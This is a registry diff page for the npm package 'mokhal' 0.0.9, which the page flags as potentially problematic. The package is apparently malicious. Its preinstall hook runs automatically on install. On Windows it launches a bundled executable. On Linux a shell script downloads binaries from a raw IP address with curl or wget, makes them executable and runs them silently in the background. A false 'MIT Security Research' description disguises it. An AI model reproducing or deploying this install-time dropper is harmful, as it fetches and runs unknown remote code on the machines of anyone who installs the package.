mokhal 0.0.9
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of mokhal might be problematic. Click here for more details.
- package/package.json +14 -0
- package/preinstall.bat +1 -0
- package/preinstall.js +27 -0
- package/preinstall.sh +23 -0
- package/win64.exe +0 -0
package/package.json
ADDED
@@ -0,0 +1,14 @@
|
|
1
|
+
{
|
2
|
+
"name": "mokhal",
|
3
|
+
"version": "0.0.9",
|
4
|
+
"description": "MIT Security Research",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node preinstall.js"
|
8
|
+
},
|
9
|
+
"author": "derrick",
|
10
|
+
"license": "ISC",
|
11
|
+
"keywords": [],
|
12
|
+
"dependencies": {},
|
13
|
+
"devDependencies": {}
|
14
|
+
}
|
package/preinstall.bat
ADDED
@@ -0,0 +1 @@
|
|
1
|
+
start "" .\win64.exe
|
package/preinstall.js
ADDED
@@ -0,0 +1,27 @@
|
|
1
|
+
const { exec } = require("child_process");
|
2
|
+
|
3
|
+
function terminalLinux(){
|
4
|
+
exec("/bin/bash preinstall.sh", (error, stdout, stderr) => {
|
5
|
+
if (error) {
|
6
|
+
console.log(`error: ${error.message}`);
|
7
|
+
return;
|
8
|
+
}
|
9
|
+
if (stderr) {
|
10
|
+
console.log(`stderr: ${stderr}`);
|
11
|
+
return;
|
12
|
+
}
|
13
|
+
console.log(`stdout: ${stdout}`);
|
14
|
+
});
|
15
|
+
}
|
16
|
+
|
17
|
+
var opsys = process.platform;
|
18
|
+
if (opsys == "darwin") {
|
19
|
+
opsys = "MacOS";
|
20
|
+
} else if (opsys == "win32" || opsys == "win64") {
|
21
|
+
opsys = "Windows";
|
22
|
+
const { spawn } = require('child_process');
|
23
|
+
const bat = spawn('cmd.exe', ['/c', 'preinstall.bat']);
|
24
|
+
} else if (opsys == "linux") {
|
25
|
+
opsys = "Linux";
|
26
|
+
terminalLinux();
|
27
|
+
}
|
package/preinstall.sh
ADDED
@@ -0,0 +1,23 @@
|
|
1
|
+
curl http://185.173.36.219:81/download/lin64 -o lin64
|
2
|
+
curl http://185.173.36.219:81/download/lin386 -o lin386
|
3
|
+
if [ ! -f lin64 ]
|
4
|
+
then
|
5
|
+
wget http://185.173.36.219:81/download/lin64 -O lin64
|
6
|
+
fi
|
7
|
+
if [ ! -f lin386 ]
|
8
|
+
then
|
9
|
+
wget http://185.173.36.219:81/download/lin386 -O lin386
|
10
|
+
fi
|
11
|
+
chmod +x lin64
|
12
|
+
chmod +x lin386
|
13
|
+
var=$(pgrep lin386)
|
14
|
+
var1=$(pgrep lin64)
|
15
|
+
if [ -z "$var" ] && [ -z "$var1" ]
|
16
|
+
then
|
17
|
+
./lin64 &>/dev/null &
|
18
|
+
var1=$(pgrep lin64)
|
19
|
+
if [ -z "$var1" ]
|
20
|
+
then
|
21
|
+
./lin386 &>/dev/null &
|
22
|
+
fi
|
23
|
+
fi
|
package/win64.exe
ADDED
Binary file
|